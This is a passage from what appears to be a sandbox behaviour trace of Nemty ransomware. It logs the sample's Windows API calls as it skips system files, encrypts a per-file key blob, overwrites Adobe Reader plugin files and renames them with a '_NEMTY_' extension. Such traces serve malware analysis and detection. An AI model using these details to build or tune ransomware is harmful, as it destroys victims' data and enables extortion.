cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DEU", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.DEU", lpUsedDefaultChar=0x0) returned 10 [0191.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.026] Sleep (dwMilliseconds=0x5) [0191.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25834af0, dwHighDateTime=0x1d561e8)) [0191.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25834af0, dwHighDateTime=0x1d561e8)) [0191.035] GetLastError () returned 0x0 [0191.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.036] GetLastError () returned 0x0 [0191.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.036] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.036] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.036] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.036] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="muwGi3AbJZ5P+WbS5ZsAKvdrj/TxNGuGm99L1HLkkyr20fARdjhsm0T2bebhFGMx\r\nSjIi1tVYy9OZV5jPJv0+nqKQ4E2t0WyYDUjhnKoC813NSpDEBh44eLfgGijBiHfH\r\naD0179SL9bqj9vgo1G2Zp06+xDYP5EXusrbKiqyb+3Zbq3DJ+JW2Pm/mpr8V4i1x\r\nG10SEQclNPQIC7uHtEGuEbxWZf+nk9Q5IBrO+dw2T6fXKv4sQ5AwmbeZCGztlgB/\r\npCnzeY9C66+BZcY2Kd83DDgyNnCuM0tdCQkFGxumcbTxR+qpqQr8pHWfpz9yLmPm\r\nItb8zaTT7oWxbJwmi3VqxQ==\r\n", pcchString=0x653e29c) returned 1 [0191.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.036] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.037] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0191.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0191.037] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.037] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0191.038] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.039] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0191.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.039] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0191.039] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.039] CloseHandle (hObject=0x2f0) returned 1 [0191.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.039] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.deu._nemty_kgobjgd_")) returned 1 [0191.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.040] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.ESP", cAlternateFileName="")) returned 1 [0191.040] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2=".") returned 1 [0191.040] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="..") returned 1 [0191.040] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="...") returned 1 [0191.040] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="windows") returned -1 [0191.040] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="$RECYCLE.BIN") returned 1 [0191.040] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="rsa") returned -1 [0191.040] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="NTDETECT.COM") returned -1 [0191.040] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="ntldr") returned -1 [0191.040] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="MSDOS.SYS") returned -1 [0191.040] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="IO.SYS") returned 1 [0191.040] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="boot.ini") returned 1 [0191.040] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="boot.ini") returned 1 [0191.041] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0191.041] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="ntuser.dat") returned -1 [0191.041] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="desktop.ini") returned 1 [0191.041] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="CONFIG.SYS") returned 1 [0191.041] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="RECYCLER") returned -1 [0191.041] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="BOOTSECT.BAK") returned 1 [0191.041] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="bootmgr") returned 1 [0191.041] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="programdata") returned -1 [0191.041] lstrcmpiW (lpString1="Mcimpp.ESP", lpString2="appdata") returned 1 [0191.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ESP", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.ESP", lpUsedDefaultChar=0x0) returned 10 [0191.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ESP", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.ESP", lpUsedDefaultChar=0x0) returned 10 [0191.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ESP", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.ESP", lpUsedDefaultChar=0x0) returned 10 [0191.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ESP", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.ESP", lpUsedDefaultChar=0x0) returned 10 [0191.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.041] Sleep (dwMilliseconds=0x5) [0191.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2585ac50, dwHighDateTime=0x1d561e8)) [0191.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2585ac50, dwHighDateTime=0x1d561e8)) [0191.052] GetLastError () returned 0x0 [0191.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.052] GetLastError () returned 0x0 [0191.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.052] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.052] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.052] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.053] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.053] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="4+J5w6EFH+kJNj01A509HAOahl/v+Xy/aRKIPnlHhuBSINcbRdPiVVx0UrKw1O/w\r\nQFF0q7/NEvOEnEZjnjNHyqnAOcKYUmUEGjffWdpwQhXPCWcszvm3FDwTqFVMn+G2\r\nNscHj+17yBQJLnZzMeJl4Vir4ADbID2sZ1oFgEfgtS5qwweS/K7MOFB2fxxuu72T\r\ncstZxnjl5DkD3cKjVOGMr+Dbrk1CQQxwFnagMCzSXA60xQ9RBkijp0CsNht638Lj\r\ncBT0ViT9yyvSQPXYoGIPuKQNe+v44PWxyJCb7LI9kesLLOKZexlonARXeGnNj4o3\r\nqwLBK3NR10FfdpRh9xy0qg==\r\n", pcchString=0x653e29c) returned 1 [0191.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.053] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.053] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0191.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0191.053] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.053] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0191.055] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.055] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0191.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.056] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0191.056] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.056] CloseHandle (hObject=0x2f0) returned 1 [0191.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.056] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.esp._nemty_kgobjgd_")) returned 1 [0191.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.057] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.EUQ", cAlternateFileName="")) returned 1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2=".") returned 1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="..") returned 1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="...") returned 1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="windows") returned -1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="rsa") returned -1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="NTDETECT.COM") returned -1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="ntldr") returned -1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="MSDOS.SYS") returned -1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="IO.SYS") returned 1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="boot.ini") returned 1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="boot.ini") returned 1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="ntuser.dat") returned -1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="desktop.ini") returned 1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="CONFIG.SYS") returned 1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="RECYCLER") returned -1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="bootmgr") returned 1 [0191.057] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="programdata") returned -1 [0191.058] lstrcmpiW (lpString1="Mcimpp.EUQ", lpString2="appdata") returned 1 [0191.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.EUQ", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.EUQ", lpUsedDefaultChar=0x0) returned 10 [0191.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.EUQ", cchWideChar=10, lpMultiByteStr=0x653e550, 